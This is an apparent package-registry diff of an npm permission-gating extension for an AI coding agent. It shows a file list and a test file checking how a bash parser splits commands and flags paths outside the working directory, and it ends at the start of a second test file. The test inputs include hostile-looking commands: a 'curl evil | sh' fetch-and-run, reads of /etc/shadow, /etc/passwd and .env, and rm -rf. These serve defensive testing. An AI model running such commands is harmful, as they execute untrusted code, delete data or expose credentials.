@komarspn/pi-permission-system 16.0.2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/CHANGELOG.md +2234 -0
- package/LICENSE +21 -0
- package/README.md +158 -0
- package/config/config.example.json +39 -0
- package/package.json +82 -0
- package/schemas/permissions.schema.json +158 -0
- package/src/active-agent.ts +72 -0
- package/src/async-cache.ts +21 -0
- package/src/bash-arity.ts +210 -0
- package/src/builtin-tool-input-formatters.ts +82 -0
- package/src/canonicalize-path.ts +30 -0
- package/src/common.ts +121 -0
- package/src/config-loader.ts +432 -0
- package/src/config-modal.ts +259 -0
- package/src/config-paths.ts +47 -0
- package/src/config-reporter.ts +34 -0
- package/src/config-store.ts +222 -0
- package/src/decision-audit.ts +75 -0
- package/src/decision-reporter.ts +41 -0
- package/src/denial-messages.ts +232 -0
- package/src/expand-home.ts +28 -0
- package/src/extension-config.ts +79 -0
- package/src/extension-paths.ts +66 -0
- package/src/forwarded-permissions/io.ts +404 -0
- package/src/forwarded-permissions/permission-forwarder.ts +580 -0
- package/src/forwarding-manager.ts +74 -0
- package/src/gate-prompter.ts +12 -0
- package/src/handlers/before-agent-start.ts +94 -0
- package/src/handlers/gates/bash-command.ts +75 -0
- package/src/handlers/gates/bash-external-directory.ts +127 -0
- package/src/handlers/gates/bash-path-extractor.ts +15 -0
- package/src/handlers/gates/bash-path.ts +152 -0
- package/src/handlers/gates/bash-program.ts +1143 -0
- package/src/handlers/gates/bash-token-classification.ts +105 -0
- package/src/handlers/gates/candidate-check.ts +32 -0
- package/src/handlers/gates/descriptor.ts +81 -0
- package/src/handlers/gates/external-directory-messages.ts +20 -0
- package/src/handlers/gates/external-directory.ts +133 -0
- package/src/handlers/gates/helpers.ts +76 -0
- package/src/handlers/gates/path.ts +91 -0
- package/src/handlers/gates/runner.ts +186 -0
- package/src/handlers/gates/skill-input-gate-pipeline.ts +104 -0
- package/src/handlers/gates/skill-input.ts +46 -0
- package/src/handlers/gates/skill-read.ts +87 -0
- package/src/handlers/gates/tool-call-gate-pipeline.ts +129 -0
- package/src/handlers/gates/tool.ts +102 -0
- package/src/handlers/gates/types.ts +13 -0
- package/src/handlers/index.ts +3 -0
- package/src/handlers/lifecycle.ts +95 -0
- package/src/handlers/permission-gate-handler.ts +190 -0
- package/src/handlers/tool-call-boundary.ts +91 -0
- package/src/index.ts +225 -0
- package/src/input-normalizer.ts +157 -0
- package/src/logging.ts +113 -0
- package/src/mcp-targets.ts +170 -0
- package/src/node-modules-discovery.ts +76 -0
- package/src/normalize.ts +43 -0
- package/src/path-utils.ts +355 -0
- package/src/pattern-suggest.ts +132 -0
- package/src/permission-dialog.ts +138 -0
- package/src/permission-event-rpc.ts +223 -0
- package/src/permission-events.ts +266 -0
- package/src/permission-forwarding.ts +188 -0
- package/src/permission-gate.ts +94 -0
- package/src/permission-manager.ts +392 -0
- package/src/permission-merge.ts +32 -0
- package/src/permission-prompter.ts +142 -0
- package/src/permission-prompts.ts +93 -0
- package/src/permission-resolver.ts +109 -0
- package/src/permission-session.ts +189 -0
- package/src/permission-ui-prompt.ts +127 -0
- package/src/permissions-service.ts +63 -0
- package/src/persistent-approval-recorder.ts +139 -0
- package/src/policy-loader.ts +350 -0
- package/src/prompting-gateway.ts +104 -0
- package/src/rule.ts +188 -0
- package/src/scope-merge.ts +72 -0
- package/src/service-lifecycle.ts +49 -0
- package/src/service.ts +163 -0
- package/src/session-approval-recorder.ts +6 -0
- package/src/session-approval.ts +43 -0
- package/src/session-logger.ts +91 -0
- package/src/session-rules.ts +79 -0
- package/src/skill-prompt-sanitizer.ts +292 -0
- package/src/status.ts +35 -0
- package/src/subagent-context.ts +104 -0
- package/src/subagent-lifecycle-events.ts +72 -0
- package/src/subagent-registry.ts +105 -0
- package/src/synthesize.ts +92 -0
- package/src/system-prompt-sanitizer.ts +274 -0
- package/src/tool-access-extractor-registry.ts +68 -0
- package/src/tool-input-formatter-registry.ts +67 -0
- package/src/tool-input-preview.ts +34 -0
- package/src/tool-input-prompt-formatters.ts +63 -0
- package/src/tool-preview-formatter.ts +207 -0
- package/src/tool-registry.ts +148 -0
- package/src/types.ts +64 -0
- package/src/wildcard-matcher.ts +120 -0
- package/src/yolo-mode.ts +30 -0
- package/test/active-agent.test.ts +155 -0
- package/test/async-cache.test.ts +48 -0
- package/test/bash-arity.test.ts +144 -0
- package/test/bash-external-directory.test.ts +956 -0
- package/test/builtin-tool-input-formatters.test.ts +109 -0
- package/test/canonicalize-path.test.ts +93 -0
- package/test/common.test.ts +287 -0
- package/test/composition-root.test.ts +603 -0
- package/test/config-loader.test.ts +740 -0
- package/test/config-modal.test.ts +320 -0
- package/test/config-paths.test.ts +83 -0
- package/test/config-pipeline.test.ts +90 -0
- package/test/config-reporter.test.ts +147 -0
- package/test/config-store.test.ts +466 -0
- package/test/decision-audit.test.ts +72 -0
- package/test/decision-reporter.test.ts +112 -0
- package/test/denial-messages.test.ts +656 -0
- package/test/detect-permissive-bash-fallback.test.ts +56 -0
- package/test/expand-home.test.ts +93 -0
- package/test/extension-config.test.ts +129 -0
- package/test/extension-paths.test.ts +108 -0
- package/test/forwarded-permissions/io.test.ts +251 -0
- package/test/forwarding-manager.test.ts +194 -0
- package/test/handlers/before-agent-start.test.ts +317 -0
- package/test/handlers/external-directory-integration.test.ts +623 -0
- package/test/handlers/external-directory-session-dedup.test.ts +430 -0
- package/test/handlers/external-directory-symlink-acceptance.test.ts +149 -0
- package/test/handlers/gates/bash-command-metamorphic.test.ts +83 -0
- package/test/handlers/gates/bash-command.test.ts +191 -0
- package/test/handlers/gates/bash-external-directory.test.ts +269 -0
- package/test/handlers/gates/bash-path.test.ts +337 -0
- package/test/handlers/gates/bash-program.test.ts +410 -0
- package/test/handlers/gates/bash-token-classification.test.ts +241 -0
- package/test/handlers/gates/candidate-check.test.ts +52 -0
- package/test/handlers/gates/external-directory-messages.test.ts +61 -0
- package/test/handlers/gates/external-directory.test.ts +259 -0
- package/test/handlers/gates/helpers.test.ts +177 -0
- package/test/handlers/gates/path.test.ts +294 -0
- package/test/handlers/gates/runner.test.ts +447 -0
- package/test/handlers/gates/skill-input-gate-pipeline.test.ts +176 -0
- package/test/handlers/gates/skill-input.test.ts +131 -0
- package/test/handlers/gates/skill-read.test.ts +158 -0
- package/test/handlers/gates/tool-call-gate-pipeline.test.ts +252 -0
- package/test/handlers/gates/tool.test.ts +223 -0
- package/test/handlers/input-events.test.ts +168 -0
- package/test/handlers/input.test.ts +199 -0
- package/test/handlers/lifecycle.test.ts +221 -0
- package/test/handlers/tool-call-boundary.test.ts +145 -0
- package/test/handlers/tool-call-events.test.ts +277 -0
- package/test/handlers/tool-call.test.ts +395 -0
- package/test/handlers/validate-requested-tool.test.ts +92 -0
- package/test/helpers/gate-fixtures.ts +323 -0
- package/test/helpers/handler-fixtures.ts +335 -0
- package/test/helpers/make-fake-pi.ts +100 -0
- package/test/helpers/manager-harness.ts +112 -0
- package/test/helpers/session-fixtures.ts +204 -0
- package/test/input-normalizer.test.ts +367 -0
- package/test/logging.test.ts +51 -0
- package/test/mcp-targets.test.ts +233 -0
- package/test/node-modules-discovery.test.ts +97 -0
- package/test/normalize.test.ts +247 -0
- package/test/path-utils.test.ts +650 -0
- package/test/pattern-suggest.test.ts +248 -0
- package/test/permission-dialog.test.ts +241 -0
- package/test/permission-event-rpc.test.ts +541 -0
- package/test/permission-events.test.ts +402 -0
- package/test/permission-forwarder.test.ts +369 -0
- package/test/permission-forwarding.test.ts +315 -0
- package/test/permission-gate.test.ts +305 -0
- package/test/permission-manager-unified.test.ts +3368 -0
- package/test/permission-merge.test.ts +61 -0
- package/test/permission-prompter.test.ts +518 -0
- package/test/permission-prompts.test.ts +363 -0
- package/test/permission-resolver.test.ts +265 -0
- package/test/permission-session.test.ts +363 -0
- package/test/permission-ui-prompt.test.ts +146 -0
- package/test/permissions-service.test.ts +177 -0
- package/test/persistent-approval-recorder.test.ts +133 -0
- package/test/pi-infrastructure-read.test.ts +369 -0
- package/test/policy-loader.test.ts +561 -0
- package/test/prompting-gateway.test.ts +230 -0
- package/test/rule.test.ts +604 -0
- package/test/scope-merge.test.ts +116 -0
- package/test/service-lifecycle.test.ts +163 -0
- package/test/service.test.ts +308 -0
- package/test/session-approval.test.ts +75 -0
- package/test/session-logger.test.ts +200 -0
- package/test/session-rules.test.ts +304 -0
- package/test/session-start.test.ts +112 -0
- package/test/skill-prompt-sanitizer.test.ts +374 -0
- package/test/status.test.ts +10 -0
- package/test/subagent-context.test.ts +326 -0
- package/test/subagent-lifecycle-events.test.ts +132 -0
- package/test/subagent-registry.test.ts +145 -0
- package/test/synthesize.test.ts +300 -0
- package/test/system-prompt-sanitizer.test.ts +382 -0
- package/test/tool-access-extractor-registry.test.ts +77 -0
- package/test/tool-input-formatter-registry.test.ts +75 -0
- package/test/tool-input-preview.test.ts +129 -0
- package/test/tool-input-prompt-formatters.test.ts +115 -0
- package/test/tool-preview-formatter.test.ts +458 -0
- package/test/tool-registry.test.ts +197 -0
- package/test/wildcard-matcher.test.ts +424 -0
- package/test/yolo-mode.test.ts +188 -0
|
@@ -0,0 +1,410 @@
|
|
|
1
|
+
import { beforeEach, describe, expect, it, vi } from "vitest";
|
|
2
|
+
|
|
3
|
+
// Mock node:fs so realpathSync (used by canonicalizePath) is controllable.
|
|
4
|
+
// Default is identity so all existing lexical tests are unaffected.
|
|
5
|
+
const realpathSync = vi.hoisted(() =>
|
|
6
|
+
vi.fn<(path: string) => string>((p) => p),
|
|
7
|
+
);
|
|
8
|
+
vi.mock("node:fs", () => ({
|
|
9
|
+
realpathSync,
|
|
10
|
+
default: { realpathSync },
|
|
11
|
+
}));
|
|
12
|
+
|
|
13
|
+
import { BashProgram } from "#src/handlers/gates/bash-program";
|
|
14
|
+
|
|
15
|
+
describe("BashProgram", () => {
|
|
16
|
+
describe("pathRuleCandidates", () => {
|
|
17
|
+
const cwd = "/projects/my-app";
|
|
18
|
+
|
|
19
|
+
it("adds absolute and relative policy values for relative tokens", async () => {
|
|
20
|
+
const program = await BashProgram.parse("cat src/foo.ts");
|
|
21
|
+
expect(program.pathRuleCandidates(cwd)).toEqual([
|
|
22
|
+
{
|
|
23
|
+
token: "src/foo.ts",
|
|
24
|
+
policyValues: ["/projects/my-app/src/foo.ts", "src/foo.ts"],
|
|
25
|
+
},
|
|
26
|
+
]);
|
|
27
|
+
});
|
|
28
|
+
|
|
29
|
+
it("returns the literal token only when no cwd is provided", async () => {
|
|
30
|
+
const program = await BashProgram.parse("cat src/foo.ts");
|
|
31
|
+
expect(program.pathRuleCandidates()).toEqual([
|
|
32
|
+
{ token: "src/foo.ts", policyValues: ["src/foo.ts"] },
|
|
33
|
+
]);
|
|
34
|
+
});
|
|
35
|
+
|
|
36
|
+
it("resolves tokens after literal cd against the effective directory", async () => {
|
|
37
|
+
const program = await BashProgram.parse("cd nested && cat src/file.txt");
|
|
38
|
+
const fileCandidate = program
|
|
39
|
+
.pathRuleCandidates(cwd)
|
|
40
|
+
.find((candidate) => candidate.token === "src/file.txt");
|
|
41
|
+
expect(fileCandidate).toEqual({
|
|
42
|
+
token: "src/file.txt",
|
|
43
|
+
policyValues: [
|
|
44
|
+
"/projects/my-app/nested/src/file.txt",
|
|
45
|
+
"nested/src/file.txt",
|
|
46
|
+
"src/file.txt",
|
|
47
|
+
],
|
|
48
|
+
});
|
|
49
|
+
});
|
|
50
|
+
|
|
51
|
+
it("does not absolute-allow relative tokens after unknown cd", async () => {
|
|
52
|
+
const program = await BashProgram.parse('cd "$DIR" && cat src/foo.ts');
|
|
53
|
+
const fileCandidate = program
|
|
54
|
+
.pathRuleCandidates(cwd)
|
|
55
|
+
.find((candidate) => candidate.token === "src/foo.ts");
|
|
56
|
+
expect(fileCandidate).toEqual({
|
|
57
|
+
token: "src/foo.ts",
|
|
58
|
+
policyValues: ["src/foo.ts"],
|
|
59
|
+
});
|
|
60
|
+
});
|
|
61
|
+
});
|
|
62
|
+
|
|
63
|
+
describe("externalPaths", () => {
|
|
64
|
+
const cwd = "/projects/my-app";
|
|
65
|
+
|
|
66
|
+
beforeEach(() => {
|
|
67
|
+
realpathSync.mockReset();
|
|
68
|
+
realpathSync.mockImplementation((p: string) => p);
|
|
69
|
+
});
|
|
70
|
+
|
|
71
|
+
it("returns absolute paths resolving outside cwd", async () => {
|
|
72
|
+
const program = await BashProgram.parse("cat /etc/hosts");
|
|
73
|
+
// Subset matcher: the path is normalized before comparison.
|
|
74
|
+
expect(program.externalPaths(cwd)).toContain("/etc/hosts");
|
|
75
|
+
});
|
|
76
|
+
|
|
77
|
+
it("excludes paths within cwd", async () => {
|
|
78
|
+
const program = await BashProgram.parse("cat src/index.ts");
|
|
79
|
+
expect(program.externalPaths(cwd)).toHaveLength(0);
|
|
80
|
+
});
|
|
81
|
+
|
|
82
|
+
describe("effective working directory projection", () => {
|
|
83
|
+
it("folds a sequence of current-shell cd commands", async () => {
|
|
84
|
+
// cd a → cwd/a, cd b → cwd/a/b; ../c resolves to cwd/a/c (inside).
|
|
85
|
+
const program = await BashProgram.parse("cd a && cd b && cat ../c");
|
|
86
|
+
expect(program.externalPaths(cwd)).toHaveLength(0);
|
|
87
|
+
});
|
|
88
|
+
|
|
89
|
+
it("catches an escape masked by a later cd that the single-base model missed", async () => {
|
|
90
|
+
// Effective dir after `cd nested/deep && cd ..` is cwd/nested, so
|
|
91
|
+
// ../../etc/passwd escapes to /projects/etc/passwd.
|
|
92
|
+
const program = await BashProgram.parse(
|
|
93
|
+
"cd nested/deep && cd .. && cat ../../etc/passwd",
|
|
94
|
+
);
|
|
95
|
+
expect(program.externalPaths(cwd)).toContain("/projects/etc/passwd");
|
|
96
|
+
});
|
|
97
|
+
|
|
98
|
+
it("folds a cd that is not the first command", async () => {
|
|
99
|
+
// The single-base model ignored a cd that was not first; now `cd a`
|
|
100
|
+
// folds, so ../b resolves to cwd/b (inside) and is not flagged.
|
|
101
|
+
const program = await BashProgram.parse("mkdir d && cd a && cat ../b");
|
|
102
|
+
expect(program.externalPaths(cwd)).toHaveLength(0);
|
|
103
|
+
});
|
|
104
|
+
|
|
105
|
+
it("does not fold a backgrounded cd", async () => {
|
|
106
|
+
// `cd a &` runs in a subshell, so it must not update the running
|
|
107
|
+
// directory; ../b resolves against cwd and escapes.
|
|
108
|
+
const program = await BashProgram.parse("cd a & cat ../b");
|
|
109
|
+
expect(program.externalPaths(cwd)).toContain("/projects/b");
|
|
110
|
+
});
|
|
111
|
+
|
|
112
|
+
it("does not fold a cd inside a pipeline", async () => {
|
|
113
|
+
// Pipeline members run in subshells; the cd must not leak.
|
|
114
|
+
const program = await BashProgram.parse("cd nested | cat ../b");
|
|
115
|
+
expect(program.externalPaths(cwd)).toContain("/projects/b");
|
|
116
|
+
});
|
|
117
|
+
|
|
118
|
+
it("folds a cd inside a subshell for paths within that subshell", async () => {
|
|
119
|
+
// Inside the subshell the effective dir is cwd/sub, so ../x → cwd/x.
|
|
120
|
+
const program = await BashProgram.parse("( cd sub && cat ../x )");
|
|
121
|
+
expect(program.externalPaths(cwd)).toHaveLength(0);
|
|
122
|
+
});
|
|
123
|
+
|
|
124
|
+
it("does not leak a subshell cd to following commands", async () => {
|
|
125
|
+
// The subshell cd resets on exit, so ../y resolves against cwd.
|
|
126
|
+
const program = await BashProgram.parse("( cd sub ) && cat ../y");
|
|
127
|
+
expect(program.externalPaths(cwd)).toContain("/projects/y");
|
|
128
|
+
});
|
|
129
|
+
|
|
130
|
+
it("persists a cd inside a brace group to later commands in the group", async () => {
|
|
131
|
+
// Brace groups run in the current shell, so cd sub persists to cat ../x.
|
|
132
|
+
const program = await BashProgram.parse("{ cd sub; cat ../x; }");
|
|
133
|
+
expect(program.externalPaths(cwd)).toHaveLength(0);
|
|
134
|
+
});
|
|
135
|
+
|
|
136
|
+
it("persists a brace-group cd to following sibling commands", async () => {
|
|
137
|
+
const program = await BashProgram.parse("{ cd sub; } && cat ../x");
|
|
138
|
+
expect(program.externalPaths(cwd)).toHaveLength(0);
|
|
139
|
+
});
|
|
140
|
+
|
|
141
|
+
it("conservatively flags a relative path inside a command substitution", async () => {
|
|
142
|
+
// Interior cd folding inside substitutions is deferred: the interior
|
|
143
|
+
// inherits the enclosing base (cwd), so ../r is flagged rather than
|
|
144
|
+
// resolved against cwd/q. Conservative — never misses an escape.
|
|
145
|
+
const program = await BashProgram.parse("echo $(cd q && cat ../r)");
|
|
146
|
+
expect(program.externalPaths(cwd)).toContain("/projects/r");
|
|
147
|
+
});
|
|
148
|
+
|
|
149
|
+
it("flags relative paths conservatively after a non-literal cd", async () => {
|
|
150
|
+
// cd "$DIR" makes the effective dir unknowable; ../x could be anywhere,
|
|
151
|
+
// so it is flagged (least-privilege).
|
|
152
|
+
const program = await BashProgram.parse('cd "$DIR" && cat ../x');
|
|
153
|
+
expect(program.externalPaths(cwd)).toContain("/projects/x");
|
|
154
|
+
});
|
|
155
|
+
|
|
156
|
+
it("flags even a within-cwd relative path after a non-literal cd", async () => {
|
|
157
|
+
// Conservative cost: src/../within.txt resolves inside cwd but is still
|
|
158
|
+
// flagged because the effective dir is unknown.
|
|
159
|
+
const program = await BashProgram.parse(
|
|
160
|
+
'cd "$DIR" && cat src/../within.txt',
|
|
161
|
+
);
|
|
162
|
+
expect(program.externalPaths(cwd)).toContain(
|
|
163
|
+
"/projects/my-app/within.txt",
|
|
164
|
+
);
|
|
165
|
+
});
|
|
166
|
+
|
|
167
|
+
it("still resolves an absolute path normally after a non-literal cd", async () => {
|
|
168
|
+
// Absolute paths are base-independent; one inside cwd is not flagged
|
|
169
|
+
// even when the effective dir is unknown.
|
|
170
|
+
const program = await BashProgram.parse(
|
|
171
|
+
'cd "$DIR" && cat /projects/my-app/x.txt',
|
|
172
|
+
);
|
|
173
|
+
expect(program.externalPaths(cwd)).toHaveLength(0);
|
|
174
|
+
});
|
|
175
|
+
|
|
176
|
+
it("treats `cd -` as an unknown effective directory", async () => {
|
|
177
|
+
const program = await BashProgram.parse("cd - && cat ../x");
|
|
178
|
+
expect(program.externalPaths(cwd)).toContain("/projects/x");
|
|
179
|
+
});
|
|
180
|
+
|
|
181
|
+
it("recovers a known base when a later cd is absolute", async () => {
|
|
182
|
+
// cd "$DIR" → unknown, then cd /projects/my-app/src → known again, so
|
|
183
|
+
// ../x resolves to cwd and is not flagged.
|
|
184
|
+
const program = await BashProgram.parse(
|
|
185
|
+
'cd "$DIR" && cd /projects/my-app/src && cat ../x',
|
|
186
|
+
);
|
|
187
|
+
expect(program.externalPaths(cwd)).toHaveLength(0);
|
|
188
|
+
});
|
|
189
|
+
|
|
190
|
+
it("folds a leading current-shell cd across a redirect-then-pipe", async () => {
|
|
191
|
+
// tree-sitter-bash groups `cd a && pnpm x 2>&1 | tail` as
|
|
192
|
+
// `(cd a && pnpm x 2>&1) | tail`, burying the current-shell `cd a`
|
|
193
|
+
// inside a `pipeline` node. Bash precedence (`|` binds tighter than
|
|
194
|
+
// `&&`) makes `cd a` current-shell, so the fold must persist past the
|
|
195
|
+
// pipeline: ../b resolves against cwd/a (inside), not cwd (#454).
|
|
196
|
+
const program = await BashProgram.parse(
|
|
197
|
+
"cd a && pnpm x 2>&1 | tail ; cat ../b",
|
|
198
|
+
);
|
|
199
|
+
expect(program.externalPaths(cwd)).toHaveLength(0);
|
|
200
|
+
});
|
|
201
|
+
|
|
202
|
+
it("persists the fold past a redirect-then-pipe to a later cd", async () => {
|
|
203
|
+
// The issue reproduction: the fold from `cd a/b` survives the
|
|
204
|
+
// redirect-then-pipe, so the trailing `cd .. && cd ..` lands back at
|
|
205
|
+
// cwd instead of escaping one level above.
|
|
206
|
+
const program = await BashProgram.parse(
|
|
207
|
+
"cd a/b && pnpm x 2>&1 | tail ; cd .. && cd ..",
|
|
208
|
+
);
|
|
209
|
+
expect(program.externalPaths(cwd)).toHaveLength(0);
|
|
210
|
+
});
|
|
211
|
+
|
|
212
|
+
it("does not fold the terminal piped command of the first stage", async () => {
|
|
213
|
+
// Fail-closed: `cd b` is the terminal command of the first stage, i.e.
|
|
214
|
+
// the real pipe stage (a subshell), so it must NOT fold. With the
|
|
215
|
+
// correct base cwd/a, ../../x escapes to /projects/x. If `cd b` were
|
|
216
|
+
// wrongly folded, the base would be cwd/a/b and ../../x would stay
|
|
217
|
+
// inside — a fail-open regression this test pins.
|
|
218
|
+
const program = await BashProgram.parse(
|
|
219
|
+
"cd a && cd b 2>&1 | tail ; cat ../../x",
|
|
220
|
+
);
|
|
221
|
+
expect(program.externalPaths(cwd)).toContain("/projects/x");
|
|
222
|
+
});
|
|
223
|
+
|
|
224
|
+
it("resolves a downstream pipe stage against the folded base", async () => {
|
|
225
|
+
// The stage after the `|` runs in a subshell that inherits the folded
|
|
226
|
+
// cwd/a, so ../foo resolves inside cwd rather than escaping against the
|
|
227
|
+
// pre-cd base.
|
|
228
|
+
const program = await BashProgram.parse(
|
|
229
|
+
"cd a && pnpm x 2>&1 | cat ../foo",
|
|
230
|
+
);
|
|
231
|
+
expect(program.externalPaths(cwd)).toHaveLength(0);
|
|
232
|
+
});
|
|
233
|
+
});
|
|
234
|
+
|
|
235
|
+
it("flags an absolute in-cwd path that resolves externally via a symlink, returning the typed form", async () => {
|
|
236
|
+
// The strict classifier only processes absolute tokens, so the escape
|
|
237
|
+
// surface is `cat /cwd/link/hosts` (absolute) where `link -> /etc`.
|
|
238
|
+
// The boundary decision still uses the canonical form (so the path is
|
|
239
|
+
// flagged), but the returned value is the typed/lexical form so config
|
|
240
|
+
// patterns match the path as the user wrote it (#418).
|
|
241
|
+
realpathSync.mockImplementation((p: string) => {
|
|
242
|
+
if (p === "/projects/my-app/link/hosts") return "/etc/hosts";
|
|
243
|
+
return p;
|
|
244
|
+
});
|
|
245
|
+
const program = await BashProgram.parse(
|
|
246
|
+
"cat /projects/my-app/link/hosts",
|
|
247
|
+
);
|
|
248
|
+
const external = program.externalPaths(cwd);
|
|
249
|
+
expect(external).toContain("/projects/my-app/link/hosts");
|
|
250
|
+
expect(external).not.toContain("/etc/hosts");
|
|
251
|
+
});
|
|
252
|
+
|
|
253
|
+
it("does not flag a token that resolves within a symlinked cwd", async () => {
|
|
254
|
+
// Simulates /tmp -> /private/tmp on macOS; cwd is the canonical form.
|
|
255
|
+
const symlinkCwd = "/private/tmp";
|
|
256
|
+
realpathSync.mockImplementation((p: string) => {
|
|
257
|
+
if (p === "/tmp") return "/private/tmp";
|
|
258
|
+
if (p.startsWith("/tmp/")) return "/private/tmp" + p.slice(4);
|
|
259
|
+
return p;
|
|
260
|
+
});
|
|
261
|
+
const program = await BashProgram.parse("cat /tmp/workspace/file.ts");
|
|
262
|
+
expect(program.externalPaths(symlinkCwd)).toHaveLength(0);
|
|
263
|
+
});
|
|
264
|
+
});
|
|
265
|
+
|
|
266
|
+
describe("commands", () => {
|
|
267
|
+
it("returns a single-element list for a lone command", async () => {
|
|
268
|
+
const program = await BashProgram.parse("npm install pkg");
|
|
269
|
+
expect(program.commands()).toEqual([{ text: "npm install pkg" }]);
|
|
270
|
+
});
|
|
271
|
+
|
|
272
|
+
it("splits an && chain", async () => {
|
|
273
|
+
const program = await BashProgram.parse("cd /p && npm i x");
|
|
274
|
+
expect(program.commands()).toEqual([
|
|
275
|
+
{ text: "cd /p" },
|
|
276
|
+
{ text: "npm i x" },
|
|
277
|
+
]);
|
|
278
|
+
});
|
|
279
|
+
|
|
280
|
+
it("splits || , ; and & separators", async () => {
|
|
281
|
+
expect((await BashProgram.parse("a || b")).commands()).toEqual([
|
|
282
|
+
{ text: "a" },
|
|
283
|
+
{ text: "b" },
|
|
284
|
+
]);
|
|
285
|
+
expect((await BashProgram.parse("a ; b")).commands()).toEqual([
|
|
286
|
+
{ text: "a" },
|
|
287
|
+
{ text: "b" },
|
|
288
|
+
]);
|
|
289
|
+
expect((await BashProgram.parse("a & b")).commands()).toEqual([
|
|
290
|
+
{ text: "a" },
|
|
291
|
+
{ text: "b" },
|
|
292
|
+
]);
|
|
293
|
+
});
|
|
294
|
+
|
|
295
|
+
it("splits a pipeline into its commands", async () => {
|
|
296
|
+
const program = await BashProgram.parse("cat f | grep b");
|
|
297
|
+
expect(program.commands()).toEqual([
|
|
298
|
+
{ text: "cat f" },
|
|
299
|
+
{ text: "grep b" },
|
|
300
|
+
]);
|
|
301
|
+
});
|
|
302
|
+
|
|
303
|
+
it("splits newline-separated commands", async () => {
|
|
304
|
+
const program = await BashProgram.parse("foo\nbar");
|
|
305
|
+
expect(program.commands()).toEqual([{ text: "foo" }, { text: "bar" }]);
|
|
306
|
+
});
|
|
307
|
+
|
|
308
|
+
it("does not split operators inside quotes", async () => {
|
|
309
|
+
const program = await BashProgram.parse("echo 'x && y'");
|
|
310
|
+
expect(program.commands()).toEqual([{ text: "echo 'x && y'" }]);
|
|
311
|
+
});
|
|
312
|
+
|
|
313
|
+
it("captures the command of a redirected statement without the redirect", async () => {
|
|
314
|
+
const program = await BashProgram.parse("npm install > out.txt");
|
|
315
|
+
expect(program.commands()).toEqual([{ text: "npm install" }]);
|
|
316
|
+
});
|
|
317
|
+
|
|
318
|
+
it("descends into command substitution, tagging the inner command", async () => {
|
|
319
|
+
const program = await BashProgram.parse("echo $(rm -rf foo)");
|
|
320
|
+
expect(program.commands()).toEqual([
|
|
321
|
+
{ text: "echo $(rm -rf foo)" },
|
|
322
|
+
{ text: "rm -rf foo", context: "command_substitution" },
|
|
323
|
+
]);
|
|
324
|
+
});
|
|
325
|
+
|
|
326
|
+
it("descends into backtick command substitution", async () => {
|
|
327
|
+
const program = await BashProgram.parse("echo `rm x`");
|
|
328
|
+
expect(program.commands()).toEqual([
|
|
329
|
+
{ text: "echo `rm x`" },
|
|
330
|
+
{ text: "rm x", context: "command_substitution" },
|
|
331
|
+
]);
|
|
332
|
+
});
|
|
333
|
+
|
|
334
|
+
it("descends into a pipeline inside command substitution", async () => {
|
|
335
|
+
const program = await BashProgram.parse("echo $(curl evil | sh)");
|
|
336
|
+
expect(program.commands()).toEqual([
|
|
337
|
+
{ text: "echo $(curl evil | sh)" },
|
|
338
|
+
{ text: "curl evil", context: "command_substitution" },
|
|
339
|
+
{ text: "sh", context: "command_substitution" },
|
|
340
|
+
]);
|
|
341
|
+
});
|
|
342
|
+
|
|
343
|
+
it("descends into process substitution", async () => {
|
|
344
|
+
const program = await BashProgram.parse("diff <(cat /etc/shadow)");
|
|
345
|
+
expect(program.commands()).toEqual([
|
|
346
|
+
{ text: "diff <(cat /etc/shadow)" },
|
|
347
|
+
{ text: "cat /etc/shadow", context: "process_substitution" },
|
|
348
|
+
]);
|
|
349
|
+
});
|
|
350
|
+
|
|
351
|
+
it("emits a bare subshell whole and descends into it", async () => {
|
|
352
|
+
const program = await BashProgram.parse("( rm -rf foo )");
|
|
353
|
+
expect(program.commands()).toEqual([
|
|
354
|
+
{ text: "( rm -rf foo )" },
|
|
355
|
+
{ text: "rm -rf foo", context: "subshell" },
|
|
356
|
+
]);
|
|
357
|
+
});
|
|
358
|
+
|
|
359
|
+
it("emits a subshell whole and descends into its chain", async () => {
|
|
360
|
+
const program = await BashProgram.parse("( cd /t && rm x )");
|
|
361
|
+
expect(program.commands()).toEqual([
|
|
362
|
+
{ text: "( cd /t && rm x )" },
|
|
363
|
+
{ text: "cd /t", context: "subshell" },
|
|
364
|
+
{ text: "rm x", context: "subshell" },
|
|
365
|
+
]);
|
|
366
|
+
});
|
|
367
|
+
|
|
368
|
+
it("descends recursively through nested contexts", async () => {
|
|
369
|
+
const program = await BashProgram.parse("echo $( ( rm x ) )");
|
|
370
|
+
expect(program.commands()).toEqual([
|
|
371
|
+
{ text: "echo $( ( rm x ) )" },
|
|
372
|
+
{ text: "( rm x )", context: "command_substitution" },
|
|
373
|
+
{ text: "rm x", context: "subshell" },
|
|
374
|
+
]);
|
|
375
|
+
});
|
|
376
|
+
|
|
377
|
+
it("descends into a substitution within a chained command", async () => {
|
|
378
|
+
const program = await BashProgram.parse("cd /p && echo $(rm x)");
|
|
379
|
+
expect(program.commands()).toEqual([
|
|
380
|
+
{ text: "cd /p" },
|
|
381
|
+
{ text: "echo $(rm x)" },
|
|
382
|
+
{ text: "rm x", context: "command_substitution" },
|
|
383
|
+
]);
|
|
384
|
+
});
|
|
385
|
+
|
|
386
|
+
it("keeps the never-weaker invariant: a benign inner command stays", async () => {
|
|
387
|
+
const program = await BashProgram.parse("echo $(echo safe)");
|
|
388
|
+
expect(program.commands()).toEqual([
|
|
389
|
+
{ text: "echo $(echo safe)" },
|
|
390
|
+
{ text: "echo safe", context: "command_substitution" },
|
|
391
|
+
]);
|
|
392
|
+
});
|
|
393
|
+
|
|
394
|
+
it("returns an empty list for an empty or whitespace command", async () => {
|
|
395
|
+
expect((await BashProgram.parse("")).commands()).toEqual([]);
|
|
396
|
+
expect((await BashProgram.parse(" ")).commands()).toEqual([]);
|
|
397
|
+
});
|
|
398
|
+
});
|
|
399
|
+
|
|
400
|
+
it("derives both slices from a single parse", async () => {
|
|
401
|
+
const program = await BashProgram.parse("cat .env /etc/hosts");
|
|
402
|
+
expect(program.pathRuleCandidates().map(({ token }) => token)).toEqual([
|
|
403
|
+
".env",
|
|
404
|
+
"/etc/hosts",
|
|
405
|
+
]);
|
|
406
|
+
const external = program.externalPaths("/projects/my-app");
|
|
407
|
+
expect(external).toContain("/etc/hosts");
|
|
408
|
+
expect(external).not.toContain(".env");
|
|
409
|
+
});
|
|
410
|
+
});
|
|
@@ -0,0 +1,241 @@
|
|
|
1
|
+
import { describe, expect, test } from "vitest";
|
|
2
|
+
|
|
3
|
+
import {
|
|
4
|
+
